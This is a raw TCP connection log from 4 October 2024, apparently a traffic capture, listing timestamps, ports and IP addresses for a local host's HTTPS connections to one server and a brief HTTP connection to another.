Oct 4, 2024 15:54:09.247051954 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.247131109 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.247471094 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.247493029 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.247502089 CEST	49929	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.247507095 CEST	443	49929	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.250296116 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.250346899 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.250436068 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.250591993 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.250605106 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.256218910 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.256424904 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.256469011 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.256470919 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.256522894 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.256571054 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.256577015 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.256586075 CEST	49930	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.256588936 CEST	443	49930	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.259123087 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.259170055 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.259332895 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.259408951 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.259428978 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.279567957 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.280016899 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.280026913 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.280637980 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.280643940 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.338021994 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.338301897 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.338351011 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.338484049 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.338505983 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.338519096 CEST	49931	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.338525057 CEST	443	49931	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.341732025 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.341779947 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.341847897 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.342005968 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.342025042 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.381762028 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.382003069 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.382059097 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.382065058 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.382129908 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.382368088 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.382380962 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.382412910 CEST	49932	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.382422924 CEST	443	49932	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.385164022 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.385201931 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.385284901 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.385453939 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.385467052 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.753560066 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.754085064 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.754116058 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.754807949 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.754820108 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.866601944 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.867055893 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.867115021 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.867218018 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.867228985 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.867238045 CEST	49933	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.867244005 CEST	443	49933	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.871121883 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.871157885 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.871303082 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.871516943 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.871531010 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.940457106 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.940906048 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.940937042 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.941374063 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.941385984 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.951226950 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.951896906 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.951909065 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:09.952090979 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:09.952096939 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.033456087 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.033931017 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.033950090 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.034439087 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.034445047 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.073800087 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.073874950 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.073978901 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.075402021 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.076020002 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.076107025 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.076735973 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.083048105 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.083066940 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.083076954 CEST	49934	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.083081961 CEST	443	49934	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.092503071 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.092524052 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.092573881 CEST	49935	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.092580080 CEST	443	49935	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.095918894 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.095942020 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.096476078 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.096481085 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.115041971 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.115081072 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.115145922 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.127866030 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.127887011 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.140408993 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.144222975 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.144268036 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.144493103 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.144746065 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.144762993 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.145333052 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.145380974 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.145382881 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.145431042 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.146997929 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.147008896 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.147022963 CEST	49936	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.147030115 CEST	443	49936	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.149919987 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.149960995 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.150058985 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.158337116 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.158360958 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.196011066 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.196458101 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.196502924 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.221210957 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.221210957 CEST	49937	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.221235037 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.221246004 CEST	443	49937	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.226577044 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.226625919 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.226741076 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.227411985 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.227427959 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.543246984 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.546771049 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.546797991 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.547405005 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.547411919 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.643188953 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.643912077 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.643963099 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.644020081 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.644059896 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.644095898 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.644095898 CEST	49938	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.644114017 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.644121885 CEST	443	49938	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.647212029 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.647244930 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.647315979 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.647490025 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.647515059 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.805898905 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.806579113 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.806595087 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.807032108 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.807038069 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.829014063 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.830327034 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.830348969 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.830739021 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.830754995 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.832367897 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.832911968 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.832937002 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.833317041 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.833326101 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.914024115 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.914685965 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.914701939 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.914742947 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.914822102 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.914925098 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.915122986 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.915144920 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.915158033 CEST	49939	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.915165901 CEST	443	49939	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.915298939 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.915307999 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.918206930 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.918251038 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.918301105 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.918957949 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.918976068 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.936096907 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.936126947 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.936170101 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.936170101 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.936219931 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.936479092 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.936501026 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.936515093 CEST	49940	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.936522007 CEST	443	49940	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.939273119 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.939299107 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.939503908 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.939645052 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.939656973 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.941890955 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.942370892 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.942464113 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.942521095 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.942539930 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.942550898 CEST	49941	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.942558050 CEST	443	49941	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.944952965 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.944984913 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.945058107 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.945234060 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:10.945249081 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:10.952747107 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:10.957559109 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:10.957679033 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:10.957823992 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:10.962619066 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:11.141005039 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.141084909 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.141277075 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.141381979 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.141402960 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.141413927 CEST	49942	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.141422033 CEST	443	49942	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.144324064 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.144362926 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.144548893 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.144722939 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.144738913 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.422616005 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.423108101 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.423135042 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.423589945 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.423602104 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.527967930 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.528139114 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.528546095 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.528575897 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.528575897 CEST	49943	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.528594017 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.528604984 CEST	443	49943	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.531543016 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.531563997 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.531677008 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.531831026 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.531841040 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.726035118 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.727140903 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.727153063 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.727163076 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.727425098 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.727454901 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.727886915 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.727893114 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.727935076 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.727941990 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.730307102 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.734074116 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.734086990 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.734656096 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.734663010 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.825133085 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.826292038 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.826536894 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.826837063 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.826860905 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.826881886 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.826994896 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.826994896 CEST	49946	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.827009916 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.827022076 CEST	443	49946	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.827405930 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.827421904 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.829562902 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.829665899 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.829701900 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.829826117 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.829880953 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.829906940 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.829956055 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.829956055 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.829978943 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.829988003 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.829998970 CEST	49944	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.830003977 CEST	443	49944	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.830236912 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.830255032 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.832278967 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.832323074 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.832524061 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.832524061 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.832556963 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.834311962 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.834443092 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.835413933 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.835413933 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.835413933 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.837255955 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.837272882 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.839412928 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.839570045 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.839579105 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.926049948 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.926346064 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.926393032 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.926480055 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.926492929 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.926505089 CEST	49948	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.926508904 CEST	443	49948	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.929506063 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.929542065 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:11.929604053 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.929775953 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:11.929791927 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.024199009 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:12.024254084 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:12.028664112 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:12.033443928 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:12.145163059 CEST	49945	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.145190001 CEST	443	49945	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.478327036 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.482115984 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.482146025 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.482567072 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.482573032 CEST	443	49952	13.107.246.60	192.168.2.10
